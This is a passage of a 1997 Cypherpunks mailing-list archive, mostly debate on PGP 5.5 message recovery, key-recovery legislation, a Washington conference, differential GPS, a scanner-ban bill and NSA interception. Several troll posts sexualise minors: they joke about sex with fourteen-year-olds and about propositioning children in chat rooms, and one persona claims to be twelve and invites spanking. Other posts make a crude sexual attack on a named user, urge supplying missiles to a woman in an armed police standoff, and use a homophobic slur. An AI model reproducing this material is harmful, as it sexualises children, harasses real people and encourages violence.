the conference - it's at the Omni Shoreham Hotel.

The web page features plenty of obfuscation/confusion which tries to link
KR technology with encryption/security technology, suggesting that a
combination of the two (or merely the former) is required to allow
widespread use of the Internet for commerce and data transfer. 

If anyone happens to attend, I imagine that list subscribers would be
interested in a summary of the comments, etc.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 28 Oct 1997 05:29:43 +0800
To: cypherpunks@Algebra.COM
Subject: "I have in my hand a working message recovery system"
In-Reply-To: <199710271900.OAA26708@beast.brainlink.com>
Message-ID: <v03102809b07aa62a7746@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




(I've changed the thread name to "I have in my hand a working message
recovery system." Some of you may know what this is a reference to.)

At 12:47 PM -0700 10/27/97, Eli Brandt wrote:
>Declan McCullagh wrote:
>> >From my perch in Washington, I see PGP 5.5/CMR as an existence proof that
>> key recovery can be done. So far the crypto-advocates have been able to
>> wave around the Blaze et al white paper that says we don't know how to do
>> it. Even Dorothy Denning agreed. But now when a mandatory GAK bill goes to
>> the House floor, all Rep. Solomon etc. have to do is wave around a
>> shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
>> shop at 21st and L." Details will be lost in the fearmongering.
>
>Key detail lost: what the white paper says is that we don't know how
>to do it *right*.

Agreed, but this is just the kind of "detail" Congress is already so good
at ignoring.

Declan is right, that Congress will hold PGP 5.5 and its CMR and "Policy
Manager" up and will say, "See, even industry is demanding message
recovery. And here's a program that already does it."

Granted, CMR will not meet FBI requirements for real-time access, and will
not meet SIGIN/COMINT wishes for surveillance-friendly systems, but it's a
start.

I'll bet, as I said in a post a few hours ago, that if CMR is widely
adopted, that various regulatory agencies like the FTC, SEC, OSHA, etc.,
will begin to impose rules about how and where CMR archives are stored....

Then the battle will be 80% over.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fisher Mark <FisherM@exch1.indy.tce.com>
Date: Tue, 28 Oct 1997 02:35:52 +0800
To: "'cypherpunks'" <cypherpunks@cyberpass.net>
Subject: RE: Orthogonality and Disaster Recovery
Message-ID: <2328C77FF9F2D011AE970000F84104A74933DC@indyexch_fddi.indy.tce.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>I'm quite certain that the Security and MIS directors at various
companies
>asked PGP, Inc. to include message recovery features. Not so much to
handle
>the very rare (almost nonexistent) cases where a piece of mail sent at
some
>time in the past has to be recovered because Alice was hit by a truck,
or
>similiar unlikely events (*), but because Security and MIS folks would
like
>the option of "monitoring" e-mail traffic.

As someone who has witnessed recovering email (the icky task fell to
someone else), I can tell you it's not a pretty sight.  Employees leave,
sometimes under a cloud (sometimes under several tornadoes worth of bad
weather), sometimes people are assigned overseas, etc. -- sometimes file
recoveries need to be done, which implies that there may have been
encryption used on those files.  CDR (IMHO) would allow for these kind
of recoveries without compromising the security of the data en-route.
Personally, I would prefer a CDR system that did _not_ encrypt the
stored plaintext, just because that simplifies matters while also
preventing use of CDR for GAK, as there are _no_ general organization
keys for the government to desire.  Nothing prevents the employee from
encrypting the "recovery file" anyway, which should be done if the
information is "sensitive but unclassified" (like company financial data
that should only be viewable by the employees responsible for that
data).  (This should be done in most companies because any computer kept
at the desktop is inherently insecure.)  (Handling disk/file encryption
keys in a corporate setting is a separate matter.)

The ability to recover important documents is what _I_ want as an IS
member -- and CMR isn't the best way to do it.

(Personally, if IS has time to monitor everyone's email, I think they
are *way* overstaffed...)
==========================================================
Mark Leighton Fisher          Thomson Consumer Electronics
fisherm@indy.tce.com          Indianapolis, IN
"Their walls are built of cannon balls, their motto is
'Don't Tread on Me'"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 28 Oct 1997 04:06:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <v03102805b07a846387f7@[207.167.93.63]>
Message-ID: <Pine.LNX.3.95.971027134656.549F-100000@pc_jvb>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 27 Oct 1997, Tim May wrote:

> At 9:41 AM -0700 10/27/97, stewarts@ix.netcom.com wrote:
> >Heard on the radio this morning that a book publisher in Berkeley
> >received a subpoena from the DEA (not from a judge, from a DEA agent...)
etc....
> The dealer I bought $150 worth of books and pamphlets from had a sign
> saying "This ain't Barnes and Noble." Indeed.
> 
> As for plant cultivation, I'm sure we all recall the cases where DEA SWAT
> teams have raided homes because some electric company report gave the DEA
> some suspicion that grow lamps were being used. (In a lot of these raids,
> there are "side effects" of the residents being sprayed with small arms
> fire. "Whoops." Even more embarassing when no grow lamps are found.
> "Whoops." So much for the Fourth Amendment, which was gutted more than 70
> years ago during the First War on Drugs.)

That wouldn't be the Donald Scott case, would it?  I'm so suprised at
you, Tim.  The local prosecutor said they "lost their moral compass".
The poor men! Now go back home, fill out your 1040 and shuddup.  ;-)

Maybe someone will eventually voluteer to go find their moral compass
for them.

> The Feds have shown their hand: they want a ban on domestic cryptography

the feds want a ban on cryptography
some people want a cryptographic ban on the feds

have a better one,

jvb





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lutz@taranis.iks-jena.de (Lutz Donnerhacke)
Date: Mon, 27 Oct 1997 22:18:22 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New Trial in Germany over web site [CNN]
In-Reply-To: <199710250208.VAA27336@einstein.ssz.com>
Message-ID: <slrn659860.19k.lutz@taranis.iks-jena.de>
MIME-Version: 1.0
Content-Type: text/plain



* Jim Choate quoted:
>> Angela Marquardt, 26, former deputy leader of Germany's reform
>> communist Party of Democratic Socialism (PDS), was this time accused
>> of having illegally published the charge sheet of her first trial.

This is indeed illegal in Germany. It is a farce, because it's not uncommon
to publish such papers before the trial starts.

The main question is, if Andrea published or not. She sent it to a 'closed'
mailinglist.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eli Brandt <eli@gs160.sp.cs.cmu.edu>
Date: Tue, 28 Oct 1997 04:20:29 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:puff pieces vs tough crypto issues (Re: Singapore TOILET
In-Reply-To: <199710271900.OAA26708@beast.brainlink.com>
Message-ID: <199710271947.LAA15435@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> >From my perch in Washington, I see PGP 5.5/CMR as an existence proof that
> key recovery can be done. So far the crypto-advocates have been able to
> wave around the Blaze et al white paper that says we don't know how to do
> it. Even Dorothy Denning agreed. But now when a mandatory GAK bill goes to
> the House floor, all Rep. Solomon etc. have to do is wave around a
> shrinkwrapped copy of PGP and say: "I bought this for $19 at the Egghead
> shop at 21st and L." Details will be lost in the fearmongering.

Key detail lost: what the white paper says is that we don't know how
to do it *right*.

-- 
     Eli Brandt  |  eli+@cs.cmu.edu  |  http://www.cs.cmu.edu/~eli/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 28 Oct 1997 04:11:22 +0800
To: CYPHERPUNKS@ssz.com
Subject: Re: [NEW] mixer@htp.org (
Message-ID: <199710272003.OAA05300@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 > Tsuyoshi Hayashi <take@barrier-free.co.jp> writes:
 >
 > Please add mixer@htp.org, the first public remailer in Japan,
 > was setup by a member of cypherpunks-j.
 >
 > mixer@htp.org is probably:
 >
 >   $remailer{"mixer"} = "<mixer@htp.org> cpunk mix pgp";


Congrats for the new remailer and a related question: Are the
cypherpunks-e and cypherpunks-j lists now fully included into the
list-distribution from and to the other three nodes?
(The last thing I can recall was, that there were still some
problems with the distribution)

Ciao

Harka

... "Use a Cipher - Be Free!"

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBNFTydTltEBIEF0MBAQE4Igf+L6+JAkmntV4rNalAU63f2nYtxWW0Fvpl
EK4IrKyVEAHRsduvanzoTdHlrn46ZIc5lzyUgUcEiBmPxWUyAqNrWAPyWkYGdBkW
NlyXzoXrNk/cY4CsU9h9FmrIxW1fCoF6vc5JPm7fCpEweQqwAP4zE5zlCL4U1/Ny
/+kYEIH5hhL5L1DHmNNLWVMcdP2JYU8Q1M6mYWf0y92fnCZfPY0mW7G5U5ONJqVR
XrUlVMm4PD2TsUXmgKLTSqu24t82fNVgJ3U/bSDQGhA/Hx+B+hwuBvSBSF9XAO4G
lUg8dzraUaGOrcChLwVv/ChBueBedxol+vpItsz2FIJE0sPTEpTpIQ==
=XGoj
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Spelvin <gs@dev.null>
Date: Tue, 28 Oct 1997 05:48:50 +0800
To: cypherpunks@toad.com
Subject: Fucking Minors / Re: NABMLA embattled -- mirror sites?
In-Reply-To: <34550336.162A@dev.null>
Message-ID: <34550789.259A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Human Gus-Peter wrote:
> Anonymous wrote:
> > I'm not sure the right to free speech includes the right to endorse guys
> > fucking little boys, whether they give it a moniker like "transgenerational
> > love" or not. Any sex with a minor is rape, since they can't legally give
> > consent.
> 
> That's right. People who are too lazy to drive a fourteen year old
> to New Mexico, where they can legally fuck their brains out, should
> go to jail for a long, long time.
> When I cruise the children's chat lines, I always tell them I would
> like to meet them in New Mexico and fuck their brains out. That's
> legal.

  I consider this issue so important that I thought it appropriate
to reply to it even before it arrived at the Cypherpunks mailing
list.
  I believe that people should be required by law to provide not
only their true identity when using the Internet for communications,
but should also be required to provide their true physical location,
so that law enforcement agencies will know whether what they are
writing is legal or illegal in the state from which they are 
sending the communication.
 
> What I love about the law is that it gives us clear guidelines to
> help us recognize the difference between those filthy fucking
> child-molesting perverts fucking fourteen year olds in California,
> and the decent, upstanding citizens fucking the fourteen year
> olds in New Mexico.

  Amen!
 
> God Bless America,
> LegallyFuckingFourteenYearOldsMonger

George Spelvin
"Legally fucking Eighteen Year Olds in California."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Tue, 28 Oct 1997 00:20:31 +0800
To: cypherpunks@toad.com
Subject: No Subject
In-Reply-To: <199710270529.GAA08435@basement.replay.com>
Message-ID: <+4zqRahTI/l4VDF17VtvrQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous  <nobody@REPLAY.COM> writes:

> I was so inspired by this guy that I had the source to sendmail
> tattooed on my back and the source to emacs tattooed on my left
                      ^^^ ^^^ ^^^^^^ ^^ ^^^^^
> thigh.

Just how fat are you?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 28 Oct 1997 00:29:03 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: Tim's worst nightmare.,..
Message-ID: <3454BF94.7ED3@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


    here we go again, the AP wire just laid on this morning's
    action at Roby IL --it sounds to close to Ruby Ridge for
    my taste. This is beyond police harassment and save face
    for what was a civil action and will now end up with the
    poor lady wearing a ciminal jacket longer than her life.

October 27, 1997
Woman in Standoff Shoots at Police
Filed at 10:12 a.m.  EST
By The Associated Press

ROBY, Ill.  (AP) -- Gunfire rang out again at the home of a woman
involved in a month-long standoff with authorities who have a
court order to bring her in for psychological testing.

Shirley Allen shot a police dog through the nose Sunday after
officers threw pepper spray into her farmhouse, state police
director Terrance Gainer said.

    well, wouldn't you if the dog is put in your house...

She also fired a shot when police used mirrors on long sticks to
peer in, but no one was injured, Gainer said.

    well, wouldn't you?

Gainer said sound detection equipment had picked up a conversation
Mrs.  Allen had with herself on Friday in which she sounded as if
she was ``moving closer to suicide,'' followed by a long period of
inactivity.

    33 days the lady has stood off a virtual army who cut off her
    power, water, and telephone --wouldn't you talk to yourself 
    for company. hell, who wouldn't commit suicide rather than
    face the scheiBesturm she faces when they finally "bag" her.

That prompted police to drive an all-terrain vehicle around her
back yard Sunday, break her windows and a sliding glass door,
throw in nine canisters of pepper spray and send in a German
shepherd wired for sound.  She fired once at the dog, Gainer said.
The dog was taken to a veterinary hospital for treatment.

    shit, let's airdrop her a dozen TOW missles. she can put them
    to good use. nine canisters of pepper spray --who the hell 
    do the think they are? Los Angeles police beating Rodney King?

Mrs.  Allen, 51, has attracted the sympathy of many neighbors, and
her case has become a rallying point for those who compare it to
Ruby Ridge and Waco as an example of overzealous law enforcement.

    she needs more than sympathy, she needs some action!

Gainer said Mrs.  Allen's actions show that she is dangerous and
prove that state police cannot back off and leave her alone
because she is a threat to herself and to others.

    she wasnt dangerous until the bastards violated her privacy;
    all over the fact a greedy nephew wants to get control of
    the valuable 40 some acres. most of the family say she's fine,
    but the liberal press does not report that fairly.

The standoff, about 20 miles southeast of Springfield, started
Sept.  22 when she used a shotgun to resist sheriff's deputies
serving commitment papers obtained by her family.  Relatives said
Mrs.  Allen, a former nurse, had become increasingly depressed
after her husband died of pancreatic cancer in 1989 and recently
began refusing to see or talk to her mother and brother.

    hell, if your relatives are being assholes, you can turn the
    switch off there, too.  a telephone is solely for calling out
    with --and connecting to the net....





-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNFS9zrR8UA6T6u61AQFctgH+OKh2NXtQrujbVnCmIQu7NVcyih66RgKe
VdC36i2c30GRxCwLtXWWRKz5FXcAXXoTzlWPQ+7qHS+PtcE7sjiXOA==
=HOw2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 28 Oct 1997 06:33:06 +0800
To: Blanc <blancw@cnw.com>
Subject: Re: Singaporean control freaks & CMR (Re: puff pieces vs tough crypto  issues)
In-Reply-To: <3.0.32.19971027025435.006b993c@cnw.com>
Message-ID: <3455151F.2D4B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Blanc wrote:
> Harish Pillay wrote:
> >I don't think the "micro management" is at it's worst in Singapore - not by
> >a long shot.  It is true that the Singapore government tries to do so and
> >in a lot of what they attempt, they somehow come out smelling roses.  But
> >they have goofed up royally as well.
> ...................................................................

> If you don't mind my asking in front of everybody, how do you stand it,
> living there?  Do you get very frustrated (it sounds as though you might),
> and want to leave for Anguilla?   Do you remind yourself not to litter with
> those gum wrappers you're not supposed to have anyway, what do you think
> when you're being incentivized to find a sexual partner and produce
> children, or to Do This and Not do That or risk painful punishments?  Do
> co-workers become critical of each other's petty "crimes", do you feel
> opressed all around, or is it not as bad as it seems from here?

Q: "Why do you beat your head against the wall?"
A: "Because it feels so good when I stop!"

Q: "Why don't you stop beating your head against the wall?"
A1: "It's illegal to stop."
A2: "It goes against tradition/religion/beliefs/society to stop."
A3: "I'll make less money if I stop."
A3: ...ad infinituum...

  I was going to speak my true mind about the Waco tragedy at work,
but I was coming up for a promotion...
  I was going to speak my true mind about the Waco tragedy at the PTA
meeting, but I didn't want it to look like I was supporting child 
molesters.
  I was going to speak my true mind about the Waco tragedy to my 
company bowling team, but most of them are rednecks.
  I was going to speak my true mind about the Waco tragedy to my spouse,
but she would tell her parents my views, and her father, the Sheriff,
is going to lend us the down-payment on a house.
  I was going to speak my true mind about the Waco tragedy to our
children, but they go to a very conservative school, and I don't want
them to rock the boat and destroy their future.
  I was going to speak my true mind about the Waco tragedy...

Q: "If 1984 was so terrible, why didn't Winston just move to another
year?
A: "Duuhhh..."

  "It may be a prison, but it's *MY* prison."
  "I'm thinking of painting the walls chartreuse, do you think it will 
go well with the scarlett bars on the window? (I had to take the bars
out of the windows to sand them, but I put them back in so that the
Warden won't cut off my exercise privileges.)"

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Pool <mbp@pharos.com.au>
Date: Mon, 27 Oct 1997 16:00:48 +0800
To: Julian Assange <proff@iq.org>
Subject: Re: cryptographic anecdotes -- GPS and
In-Reply-To: <19971027010829.851.qmail@iq.org>
Message-ID: <Pine.LNX.3.95.971027160901.7921B-100000@buffalo.pharos.com.au>
MIME-Version: 1.0
Content-Type: text/plain



On 27 Oct 1997, Julian Assange wrote:

> I'm involved in producing a segment on cryptograpic issues for Radio
> National (ABC) to be aired latter this week. I have no problems with
> the technical issues but could use some (reliable) "colour" i.e small
> quirky or unusual anecdotes that will draw in and hold the larger
> order of listeners who don't otherwise have any cryptography/
> cryptographic-policy background.

Do you know the timeslot yet?

"Java Network Services" (I forget the exact title) from Prentice Hall has
a case study about interfacing Java to GPS hardware.  The introduction to
the chapter provides some very interesting information about GPS which,
like crypto, is a "dual use technology".  It's not exactly the same, of
course -- GPS is about people getting information that the state would
like to keep secret, not vice versa -- but it's still interesting.
("Location escrow" is a nice phrase.)

If the book is correct, then the system was originally designed to
introduce errors into the part of the time signal decypherable by civilian
users that would produce positional uncertainty of about 100m.  The
complete signal, available (in theory) only to US or US-sponsored forces,
allowed positions to be calculated to within an accuracy of about 1m.

However, hackers being what they are ;-), somebody realized that since the
same errors were observed by all receivers, one could compensate for them
to some extent.  

Specifically, one has a base station somewhere whose location you know
very accurately by other means.  This station continuously subtracts it's
known position from the position calculated by it's civilian GPS hardware,
and broadcasts the difference over the pager network or some other public
medium.  (The math is not quite that simple, I imagine, but conceptually
that's what you do.)  Combining this information with the satellite signals
allows civilian GPS hardware to improve it's accuracy by an order of
magnitude to about 10m of uncertainty, which could make all the difference
in, say, a search-and-rescue situation.  This technique is called,
obviously enough, "differential GPS". 

Even more interesting is that the DOT is apparently negotiating with the
DOD to make full GPS publicly available, presumably because it would sell
more cars.  (Just what the world needs...)  Quite possibly there will be
export restrictions, of course.  The similarities to commerce vs TLA
concerns in encryption are obvious.  I don't know the outcome of the
negotiations, but I got the impression it was more likely than not. 

The book was not immensely technical, so some (or all) details may be
wrong.

Assuming you're talking about Australian RN, then comparisons to the
recent gun buy-back scheme might be interesting, on the topic of
balance-of-power between the people and the state.  (Hmm, wish I could
post "Blue Murder", a documovie about NSW police corruption in the 80s to
the list.) 

--
Martin Pool





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Tue, 28 Oct 1997 06:00:39 +0800
To: cypherpunks@toad.com
Subject: Re: DEA trying to subpoena book dealers
In-Reply-To: <3.0.3.32.19971027084119.006bf4fc@popd.ix.netcom.com>
Message-ID: <19971027163457.17131@pig.die.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Oct 27, 1997 at 11:04:34AM -0700, Tim May wrote:
> >a subpoena for names of everyone who'd bought the book.
> 
> At the Gun Show I was at yesterday, a book dealer (who deals only in cash,
> not checks and not credit cards, and who has no interest in keeping names
> of customers in any kind of file) said that law enforcement often wanders
> around the tables at the gun show, asking about the books on making C-4
> explosives, making silencers for guns, growing dope, making
> methamphetamines, rigging booby traps, etc. This is why most of the dealers
> operate on a cash-and-carry basis. I don't know if any of the dealers have
> yielded to pressures to give up lists of customers, but I suspect most of
> them haven't. And cash makes it tough.
> 
	Sadly, it appears that another catagory of hobby flea market is
soon to join this ever growing list.   A bill (HR2369) working its way through
the House bans the "manufacture, sale, distribution, modification,
import, export" of radio equipment such as scanners (but by no means
limited to scanners) that can be used for "unauthorized interception of
wireless communications" and provides 5 year jail terms and $500,000
fines for each individual sale.   While this may or may not seem just a
bit draconian to a privacy oriented group such as cypherpunks, it should
be noted that most ham radio equipment sold in the last 20 years covers
more than just ham bands, and almost all scanners (which have legitimate
and fully legal uses to monitor public safety and other wireless (radio)
communications without a legal expectation of privacy under the ECPA)
cover frequencies which would make them contraband under this proposed
law.  

	If passed, the traditional hamfest flea markets where all sorts
of bizzare old radio junk gets traded for cash or swapped for other
gear will be largely a thing of the past, as almost all radio receivers
and transcievers that hams and other electronic hackers might want to
sell or trade will be seriously illegal, and one never knows who that
anonymous cash customer really is...

	I guess the obligatory cypherpunk relevance is that if the NSA
hadn't pressured the cell industry, cell and cordless phones would be at
least minimally  encrypted and industry lobbiests would not be pushing
to make selling or buying simple used radio receivers more illegal than
forcible rape or armed robbery in many states.

	And of course if anyone doubts NSA's real motive, think of this.
They can monitor, under warrent from the secret FISL court, virtually
anything they want by intercepting the call at the MTSO switch using
those nice CALEA wiretap subroutines...  so why do they need to
discourage over the air encryption they can't trivially deal with ?  
Well think about all the intercepts in the USA of US citizen
communications done for the TLAs (NSA in particular) by foreign
intelligence operations (notably GCHQ but also others) - obviously
foreign governments have no standing under FISL and CALEA and cannot get
FISL authority to legally wiretap US citizens - so making sure that
encrypted US wireless communications can be broken by the Brits or
Canadians or others makes sure that the NSA can get those UKUSA partners
to provide them to NSA and US TLAs when it is politically inconveniant
or downright illegal for NSA to intercept them directly.

-- 
	Dave Emery N1PRE,  die@die.com  DIE Consulting, Weston, Mass. 
PGP fingerprint = 2047/4D7B08D1 DE 6E E1 CC 1F 1D 96 E2  5D 27 BD B0 24 88 C3 18





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 28 Oct 1997 00:43:57 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: the usual two sided mouth political free speech
Message-ID: <3454C2E9.1AD@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    the usual two sided mouth political free speech
    in re: NYTimes letter to the editor, 26 Oct 97

    sometimes I wonder if free speech isn't already muffled;
    the rest of the time I know it is. anytime a politician
    can get a headline, they will stamp on someone's rights.
    common sense has been exerminated more effectively than
    NYC's vermin.

    I dont like my kids being exposed to that "kind" of 
    material, but I would sure rather it was done in an 
    educational environment (unless it is some faggot teacher 
    then advocating homosexual practice). children will find
    that "knowledge" one way or the other.

    You can not condemn "evil" without observing "evil" and 
    making a _personal_ value judgement which should not be
    reflected in calling for laws for or against.  If the adults
    would stop acting like 6 year olds, and the politicians as 4
    year old bullies, our children might get an education.

    OB Crypto:  maybe the teacher should be distributing this
    material on PGP with individual student keys; the teacher
    can sort out the Christian Coalition and Orthodox Jews early
    on and just forget to include their key --end of problem. So 
    there is a valid use for PGP in the schools --of course, the 
    old PGP, not their GAKed sellout.

To the Editor:

Gov.  George E. Pataki's comments regarding Charles Self, the
New York City schoolteacher who distributed a sexually explicit
poem to his students, were transparently political (news
article, Oct.  23).

First, the Governor disassociated himself from ruling on the
matter ("the appropriate sanction is not something for Albany to
decide"), and then jabbed the system that must rule on it ("I
think a letter in a file is not good enough").  It would have
been better to remain silent.

Second-best would have been to remind us of reality:  most
teachers are competent most of the time.  They occasionally make
errors in judgment.  Mr.  Self, reputedly a teacher who
motivates his students, made a mistake -- apparently the first
in 17 years to be placed on the record.

In such matters we ought to set aside the broad political brush
and work to rebuild the trusting relationship that teachers so
richly deserve to enjoy.  The Governor would do well to remember
that politicians are currently held in even lower esteem than
teachers.

GILBERT CASS New Haven, Oct.  24, 1997

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQBVAwUBNFTB07R8UA6T6u61AQHhRQH/SAdMr/RJ6Ix6of7FPxIohxn/oOY2KOsN
a09/LtVErCffpMJc0tH4ZYF5aUrBH24CyNVCeIpDQjAYEg+5TH6LLQ==
=PM10
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Human Gus-Peter <hgp@dev.null>
Date: Tue, 28 Oct 1997 06:52:19 +0800
To: remailer@REPLAY.COM
Subject: Re: prova
In-Reply-To: <34551063.9F5EAD7D@tin.it>
Message-ID: <34551757.555E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Anon-To: danbaldi@tin.it
 
daniele has trouble reading the remailer instructions because
she has to peek around the huge horse cock she has in her
mouth





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Tue, 28 Oct 1997 07:20:23 +0800
To: cypherpunks@toad.com
Subject: Re: prova
In-Reply-To: <34551063.9F5EAD7D@tin.it>
Message-ID: <34551DF9.33FC@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Human Gus-Peter wrote:
> 
> Anon-To: danbaldi@tin.it
> 
> daniele has trouble reading the remailer instructions because
> she has to peek around the huge horse cock she has in her
> mouth

There is supposed to be a '::' at the start for proper sintax.
(What is that in _*your*_ mouth, HG-P?)

Julia
ps you are going to be in big big trouble when your uncle gets back





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 28 Oct 1997 06:27:10 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: key recovery meeting/demonstration in DC, 11/5
In-Reply-To: <199710272113.NAA01177@ideath.parrhesia.com>
Message-ID: <v03007802b07ac200edd2@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 13:17 -0800 10/27/97, Greg Broiles wrote:
>	       
>See <http://gits-sec.treas.gov/const.htm>; there's going to be a meeting
>discussing key recovery technology and legislation in Washington, D.C. on
>November 5. I don't really have time to track down the organizational
>pedigree of "GITS" (Government Information Technology Services), the
>institution organizing the conference, but they've got space on the Dept of
>Treasury's web server. The meeting features, among other folks, William
>Reinsch, undersecretary at the Dept of Commerce, and an unnamed luncheon
>speaker who will discuss the future of KR legislation. The cost is $100,
>and they want you to register by today. Am unsure how easy it'd be to crash
>the conference - it's at the Omni Shoreham Hotel.

It could be possible. The hotel sprawls just enough. If anyone (I know, or
know of) from out of town is coming to the conference, you can stay with me
-- I live just a few blocks from the hotel.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Tue, 28 Oct 1997 07:26:25 +0800
To: cypherpunks@toad.com
Subject: Re: prova
In-Reply-To: <34551063.9F5EAD7D@tin.it>
Message-ID: <34552029.5E8A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Bianca wrote:

> Julia
> ps you are going to be in big big trouble when your uncle gets back

I might as well get in trouble too...
Maybe Attila will _*spank*_ me. [I am only twelve ;>]

Misty Formea





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 28 Oct 1997 06:46:53 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: key recovery meeting/demonstration in DC, 11/5
In-Reply-To: <199710272113.NAA01177@ideath.parrhesia.com>
Message-ID: <v03007803b07ac5b9cdd0@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



At 13:17 -0800 10/27/97, Greg Broiles wrote:
>See <http://gits-sec.treas.gov/const.htm>; there's going to be a meeting
>discussing key recovery technology and legislation in Washington, D.C. on
>November 5. I don't really have time to track down the organizational
>pedigree of "GITS" (Government Information Technology Services), the
>institution organizing the conference, but they've got space on the Dept of
>Treasury's web server. The meeting features, among other folks, William
>Reinsch, undersecretary at the Dept of Commerce, and an unnamed luncheon
>speaker who will discuss the future of KR legislation. The cost is $100,
>and they want you to register by today.

Just spoke to the folks setting it up at (202) 986-0200. They're accepting
registrations up until the day of the conference. Breakfast speaker likely
to be Sen. Bob Kerrey. Luncheon speakers may be an IBM VP or Magaziner.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Tue, 28 Oct 1997 08:10:32 +0800
To: Six <ualdv8@sk.sympatico.ca>
Subject: Re: I Broke PGP!!!
In-Reply-To: <34543357.2971@sk.sympatico.ca>
Message-ID: <Pine.OSF.3.96.971027174857.8499A-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



> Bonus Question: "Who is TruthMonger #1?"
> Bonus Answer: "He's Randall Farmer's best friend."

Huh? I'm asking my best friend about this tomorrow...

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bianca <bianca@dev.null>
Date: Tue, 28 Oct 1997 08:13:53 +0800
To: cypherpunks@toad.com
Subject: Apology
Message-ID: <345529E3.740E@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



The good news is that the computers at the 'Home for the Criminally
Insane' are back in the hands of the 'Children of a Lesser Lunatic.'

The bad news is that these kids are the Cypherpunks of the future.

Tip of the Day: If you are going to attempt to hide your subversive
  email activities from your elders by deleting messages from the
  'Inbox,' then don't forget to empty the 'Trash' folder.

Anyone in favor of corporal punishment (as opposed to loss of 
'Simpsons' privileges) send email to ualdv8@sk.sympatico.ca.
{Not you, Attila. You have a vested interest.}

Love,
 Bianca





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Tue, 28 Oct 1997 11:15:56 +0800
To: Blanc <CYPHERPUNKS@ssz.com
Subject: Re: poverty traps (Re: Sa
